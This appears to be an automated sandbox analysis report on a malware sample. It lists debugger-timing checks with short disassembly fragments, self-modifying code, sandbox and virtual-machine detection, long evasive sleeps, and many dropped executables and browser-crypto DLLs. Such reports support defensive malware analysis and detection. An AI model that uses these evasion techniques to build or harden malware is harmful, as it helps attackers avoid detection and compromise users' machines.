Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49907D1 second address: 4990805 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 0499C560h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F7AB12EBC96h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 jmp 00007F7AB12EBC8Eh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930284 second address: 4930293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930293 second address: 49302C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7AB12EBC8Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49302C1 second address: 49302DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov bx, si 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990BDC second address: 4990BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB12EBC94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990BF4 second address: 4990BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990BF8 second address: 4990C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F7AB12EBC8Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov dx, ax 0x00000015 pushad 0x00000016 mov ah, A9h 0x00000018 pushfd 0x00000019 jmp 00007F7AB12EBC95h 0x0000001e and ecx, 327380E6h 0x00000024 jmp 00007F7AB12EBC91h 0x00000029 popfd 0x0000002a popad 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f push eax 0x00000030 mov ebx, 29E15B6Eh 0x00000035 pop ebx 0x00000036 mov esi, 6442502Bh 0x0000003b popad 0x0000003c push dword ptr [ebp+0Ch] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F7AB12EBC8Dh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990C69 second address: 4990C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990C6F second address: 4990C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990C73 second address: 4990C98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop eax 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990C98 second address: 4990CBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 2C8759D9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990CBE second address: 4990CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F7AB0FF7768h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990CDC second address: 4990CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: C2EE2D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: DD3F00 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: DD283A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: E65CA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: F0EE2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 10B3F00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 10B283A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 1145CA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Special instruction interceptor: First address: F0FBB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Special instruction interceptor: First address: F0FB00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Special instruction interceptor: First address: 10B4AB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Special instruction interceptor: First address: A549A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Special instruction interceptor: First address: C87B29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Special instruction interceptor: First address: E2ABD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Special instruction interceptor: First address: EB79F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Special instruction interceptor: First address: 11BF990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Special instruction interceptor: First address: 11BFA91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Special instruction interceptor: First address: 11BF98A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Special instruction interceptor: First address: 135B745 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Special instruction interceptor: First address: 1366F9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Special instruction interceptor: First address: 13EB3C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Special instruction interceptor: First address: CBDD7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Special instruction interceptor: First address: EE8EEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Special instruction interceptor: First address: 137CAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Special instruction interceptor: First address: 137DAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Special instruction interceptor: First address: 2CD7FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Special instruction interceptor: First address: 362DF2 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Memory allocated: 2160000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Memory allocated: 2330000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Memory allocated: 4330000 memory reserve | memory write watch
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Memory allocated: 15C06C50000 memory reserve | memory write watch
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Memory allocated: 15C206B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Memory allocated: 5380000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Memory allocated: 5660000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Memory allocated: 7660000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Memory allocated: 5450000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Memory allocated: 54F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Memory allocated: 74F0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04990CDA rdtsc 0_2_04990CDA
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 596067
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 595936
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 595097
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594922
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594750
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594633
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594484
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Thread delayed: delay time: 922337203685477
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Thread delayed: delay time: 922337203685477
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1010 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1092 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1036 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1076 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Window / User API: threadDelayed 4721
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Window / User API: threadDelayed 4875
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4881
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1607
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6199
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1736
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1230
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1256
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1233
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1242
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1230
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1233
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1200
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window / User API: threadDelayed 1222
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window / User API: threadDelayed 1328
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window / User API: threadDelayed 1347
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window / User API: threadDelayed 836
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window / User API: threadDelayed 841
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window / User API: threadDelayed 1355
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window / User API: threadDelayed 1330
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window / User API: threadDelayed 1248
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window / User API: threadDelayed 1218
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window / User API: threadDelayed 1220
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window / User API: threadDelayed 1232
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window / User API: threadDelayed 1237
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window / User API: threadDelayed 1217
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Window / User API: threadDelayed 1213
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Window / User API: threadDelayed 547
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019677001\fbaaecbd82.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019678001\e577d0589a.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019676001\6cc6a39605.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Ae01fdzV5f53ffefSw3BEvKVeV\Bunifu_UI_v1.5.3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019679001\cd81608004.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Ae01fdzV5f53ffefSw3BEvKVeV\Y-Cleaner.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[5].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6100 Thread sleep count: 1010 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6100 Thread sleep time: -2021010s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5808 Thread sleep count: 1094 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5808 Thread sleep time: -2189094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4544 Thread sleep count: 1092 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4544 Thread sleep time: -2185092s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2304 Thread sleep count: 242 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2304 Thread sleep time: -7260000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1396 Thread sleep count: 1036 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1396 Thread sleep time: -2073036s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6104 Thread sleep count: 1076 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6104 Thread sleep time: -2153076s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe TID: 7700 Thread sleep time: -210000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99842s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99718s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99563s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98889s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98306s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98171s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -98038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -97471s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -97358s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -97201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -97085s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96749s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96517s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96390s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96268s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96156s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -96047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95812s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95703s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95593s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95462s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95350s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -95203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94687s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94449s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94460s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94294s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94171s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -94030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -93890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -93765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -93640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -93528s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -93359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -93231s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -596067s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -595936s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -595609s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -595097s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -594922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -594750s >= -30000s
